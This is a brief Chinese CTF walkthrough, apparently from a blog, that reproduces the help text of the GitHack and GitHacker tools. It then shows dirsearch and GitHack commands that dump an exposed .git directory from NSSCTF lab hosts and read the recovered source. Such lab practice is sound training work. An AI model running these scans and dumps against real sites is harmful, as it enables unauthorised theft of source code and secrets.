赞
踩
usage: githack [-h] [-o OUTPUT] [--level {NOTSET,DEBUG,INFO,WARNING,ERROR,CRITICAL}] [-k] URI .git/ leakage exploit //.git/ 泄漏漏洞 positional arguments: //位置参数: URI target uri to exploit (eg. http://example.com/.git) //要利用的目标uri options: -h, --help show this help message and exit //显示此帮助消息并退出 -o OUTPUT, --output OUTPUT output dir, all the file will download to this directory //输出dir,所有文件将下载到此目录 --level {NOTSET,DEBUG,INFO,WARNING,ERROR,CRITICAL} log level (default: INFO) //日志级别(默认值:INFO) -k, --insecure Ignore ssl verify //忽略ssl验证
githack http://node4.anna.nssctf.cn:28054/.git
usage: githacker [-h] (--url URL | --url-file URL_FILE) --output-folder OUTPUT_FOLDER [--brute] [--enable-manually-check-dangerous-git-files] [--threads THREADS] [--delay DELAY] [--version] GitHacker options: //选项: -h, --help show this help message and exit //显示此帮助消息并退出 --url URL url of the target website which expose `.git` folder //公开`.git`文件夹的目标网站的url --url-file URL_FILE url file that contains a list of urls of the target website which expose `.git` folder //url文件,该文件包含目标网站的url列表,其中公开了`.git`文件夹 --output-folder OUTPUT_FOLDER(输出文件夹) the local folder which will be the parent folder of all exploited repositories, every repo will be stored in folder named md5(url). //本地文件夹将是所有被利用的存储库的父文件夹,每个repo都将存储在名为md5(url)的文件夹中。 --brute enable brute forcing branch/tag names //启用强制分支/标记名称 --enable-manually-check-dangerous-git-files disable manually check dangerous git files which may lead to *RCE* (eg: .git/config, .git/hook/pre-commit) when downloading malicious .git folders. If this argument is given, GitHacker will not download the files which may be dangerous at all. //禁用手动检查危险的git文件,当下载恶意.git文件夹时,这些文件可能会导致*RCE*(例如:.git/config、.git/hook/pre-commit)。如果给出了这个论点,GitHacker将不会下载可能根本危险的文件。 --threads THREADS threads number to download from internet //要从internet下载的线程数 --delay DELAY delay seconds between HTTP requests //HTTP请求之间的延迟秒数 --version show program's version number and exit //显示程序的版本号并退出
githacker --url http://localhost:8013/ --output-folder test
使用dirsearch扫描目录
dirsearch -u http://node4.anna.nssctf.cn:28157/ -e php
发现存在git泄露
然后是在GitHack
中的套路操作
python GitHack.py http://node4.anna.nssctf.cn:28832/.git
ls
cd node4.anna.nssctf.cn_28832
ls
vi index.php
在图形化页面
中可以复制源代码
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。